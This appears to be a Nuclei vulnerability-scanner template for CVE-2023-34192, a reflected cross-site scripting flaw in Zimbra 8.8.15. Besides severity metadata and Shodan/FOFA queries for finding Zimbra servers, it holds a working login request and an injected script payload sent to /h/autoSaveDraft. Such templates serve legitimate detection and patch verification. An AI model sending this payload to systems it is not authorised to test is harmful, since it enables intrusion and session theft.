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id : CVE-2023-34192
info :
name : Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting
author : ritikchaddha
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severity : critical
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description : |
Cross Site Scripting vulnerability in Zimbra ZCS v.8.8.15 allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation : |
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Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite (ZCS).
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reference :
- https://mp.weixin.qq.com/s/Vz8yL4xBlZN5EQQ_BG0OOA
- https://www.helpnetsecurity.com/2023/07/17/cve-2023-34192/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-34192
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- https://wiki.zimbra.com/wiki/Security_Center
- https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
cvss-score : 9
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cve-id : CVE-2023-34192
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cwe-id : CWE-79
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epss-score : 0.17094
epss-percentile : 0.95587
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cpe : cpe:2.3:a:zimbra:collaboration:8.8.15:-:*:*:*:*:*:*
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metadata :
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max-request : 2
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vendor : zimbra
product : collaboration
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shodan-query :
- http.favicon.hash:475145467
- http.favicon.hash:"1624375939"
- http.favicon.hash:"475145467"
fofa-query :
- icon_hash="475145467"
- icon_hash="1624375939"
- app="zimbra-邮件系统"
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tags : cve,cve2023,zimbra,xss,authenticated
http :
- raw :
- |
POST /zimbra/ HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
loginOp=login&username={{username}}&password={{password}}&client=preferred
- |
GET /h/autoSaveDraft?draftid=aaaaaaaaaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cbbbbbbbb HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
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part : body_2
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words :
- "<script>alert(document.domain)</script>"
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- "zimbra"
condition : and
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- type : word
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part : header_2
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words :
- text/html
- type : status
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part : header_2
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status :
- 200
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